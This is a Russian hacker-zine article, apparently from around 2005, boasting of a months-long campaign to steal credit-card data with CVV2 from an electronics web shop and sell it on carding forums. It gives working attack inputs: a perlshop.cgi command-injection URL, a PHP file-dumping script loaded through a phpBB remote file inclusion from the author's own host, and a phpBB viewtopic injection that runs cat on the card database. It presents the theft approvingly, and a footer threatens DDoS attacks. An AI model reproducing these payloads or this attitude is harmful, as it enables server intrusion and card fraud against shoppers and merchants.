|
_________
|
Битва за урожай сс
В глубоком моем детстве, когда еще
кучка уродов не развалила СССР, услышал я фразу «Битва за урожай». И
сейчас, когда я пишу данную статью, понял я, что именно это фраза и станет
ее заглавием.
Ты наверное знаешь, что заработок хакера, дело эпизодическое и
непостоянное, в то же время деньги на еду, пиво и другие радости нужны
всегда. Большинство клиентов, обращающихся ко мне просит взломать сразу
paypal.com или ebay.com, предполагая, наверное, что как минимум
божественное происхождение хакеров и мое в частности.
Постоянно же иметь свои кровные хакер может только в случае если получит
постоянный доступ к торговым тележкам нескольких средних магазинов,
ежедневно снимая урожай с них и обменивая его на вечнозеленые единицы на
одном из кардерских форумов, например таких, как Carder-World.ru
И я хочу рассказать историю про долгое состязание с админом одного такого
шопа, торгующего электроникой.
Эпизод первый.
Больше года назад обнаружил я уязвимость в скрипте perlshop.cgi version =
3.1
<http://www.xakep.ru/post/21567/default.asp>
суть бага заключалось в том, что можно было выполнять команды на сервере:
/perlshop.cgi?ACTION=enter&thispage=|ls;&ORDER_ID=! ORDERID!
просмотр исходника показывал что открытие файлов в директории catalog
происходит без проверки на символы | ;
if (defined($input{'THISPAGE'})) { ### Send a catalog page back with the
unique ID set
$prev_page = ""; $next_page= "";
if ($add_navigation eq 'yes') {
$catalog_page = "$catalog_directory/$input{'THISPAGE'}";
if (-e $catalog_page) {
open(TEMPLATE, $catalog_page) || &err_trap("cannot open template file:
$catalog_page");
$temp = <TEMPLATE>;
if ($temp =~
/<(\!\-\-)?PSTAG\s+prevpage\s*=\s*\"?([^\"]+?)\"?\s+nextpage\s*=\s*\"?([^\"]+?)\"?\s*(\-\-)?>/i
Просмотрев все бажные шопы, мне удалось найти один, в котором админ не
смотря на запрет, сохранял кредитные карты с cvv2. Зная, что база с
кредами храниться по умолчанию в директории customers, я ежедневно забирал
новый урожай таким нехитрым способом:
/perlshop.cgi?ACTION=ENTER&thispage=|cat%20customer
s/*;&ORDER_ID=!ORDERID!
К сожалению на сервере не было ни wget ни links, залить и закрепиться там
я не мог.
Но счастье мое длилось недолго, спустя три месяца админ шопа почувствовал
неладное, и однажды загрузив урл вместо кред я увидел «птицу Обломинго».
Админ сменил тележку на version = 4.4.0. Найдя ее в инете и просмотрев
исходники я понял, что с ней мне радости не будет, | резался:
open(TEMPLATE, $catalog_page) or
error_trap("cannot open template file $catalog_page : $!");
----------
удалено
----------
# Remove invalid characters from the THISPAGE parameter
$input{'THISPAGE'} =~ s/[|()<>;&]//g;
Правда в скрипте нет проверки на "null-byte poison". Но это как я понял,
связано с тем что thispage в скрипте должен открывать файлы только из
catalog open(TEMPLATE, $catalog_page).
Эпизод второй.
Голод и холод заставляет людей думать интенсивнее. Поняв, что главный вход
мне отрезан, я решил проверить запасной. Пробив ip сервера я увидел, что
на нем числятся еще сто с лишним сайтов. Это уже давало шанс.
Началась тупая работа по просмотру сайтов. И вот на одном из них
обнаружился PhpBB 2.0.0. Найдя описание бага я быстро сваял
functions_selects.php подгружаемый бажным скриптом форума install.php:
<?php
$handle=opendir(' /');
echo "Directory handle: $handle\n";
echo "Files:\n";
while ($file = readdir($handle)) {
print "$file\n";
$f=fopen("/$file","r");
fpassthru($f);
}
closedir($handle);
?>
Залив его к себе на сайт durito.narod.ru в директорию includes и выполнив
команду
/forum/install.php?m=http://durito.narod.ru/ я получил листинг корня.
Изменяя путь и заливая измененные файлы на durito.narod.ru я добрался до
заветной директории customers и ее богатств. Жизнь налаживалась.
Но ненадолго, через пять месяцев бажный форум исчез.
Эпизод третий.
Кушать хочется всегда. И я стал опять шерстить сайты сервера на наличие
багов. И вновь удача PhpBB 2.0.8. А тут как раз обнаружена sql-инъекция в
форумах до PhpBB 2.0.10. Разобравшись с описанием уязвимостью я вновь
попадаю во внутрь сервера. Но здесь меня ждал первый облом, папка
customers оказалось пустой. Второй облом не заставил себя ждать, просмотр
файлов в юзерских директориях /home/имя_юзера/ тоже закрыли. Просматривать
файлы можно было только в /public_html/. Тогда я решил глянуть исходники
perlshop.cgi и понял почему не было кред. Админ перенес базу в /home/
имя_юзера/data/customers, к счастью я имел возможность просматривать
содержимое в ней.
Открыв viewtopic.php?t=7&highlight=%2527.$poster=%60$cmd%
60.%2527&cmd=cat%20/home/ имя_юзера/data/customers/*;
я очень удивился, в базе лежало всего 2 креды. Решив, что шоп разорился, я
ушел спать.
Через несколько дней я вернулся, и так же увидел, что в тележке лежит
несколько кред, но это были ДРУГИЕ КРЕДЫ! Я начал вести наблюдение за
хранилищем и понял что около 7.30 утра админ удаляет все данные о
транзакциях за сутки из папки customers, исключение делалось только в
воскресение, так что это был единственный день в неделе когда я не вставал
в 7 утра и не бежал к компу, что бы забрать урожай быстрее админа. Так мы
с ним жили «душа в душу» еще полгода, я вставал на полчаса раньше его, а
как гласит народная пословица: «кто рано встает - тому бог подает».
И вот вчера, какая-то сволочь, вместо PhpBB 2.0.8 поставила на своем сайте
vBulletin Version 3.0.8. И опять розовая птица Обломинго махнула мне
крылом. Но хакер - птица терпеливая и наш Main Kampf за урожай с админом
еще не завершен.
Твой durito
Copyright 2002-2005 by LwB Security Team. All rights reserved. |
При использовании
материалов с данного сайта, убедитесь что поставили линк на нас:
Иначе нарушители будут подвергнуты массивным DDOS
атакам. |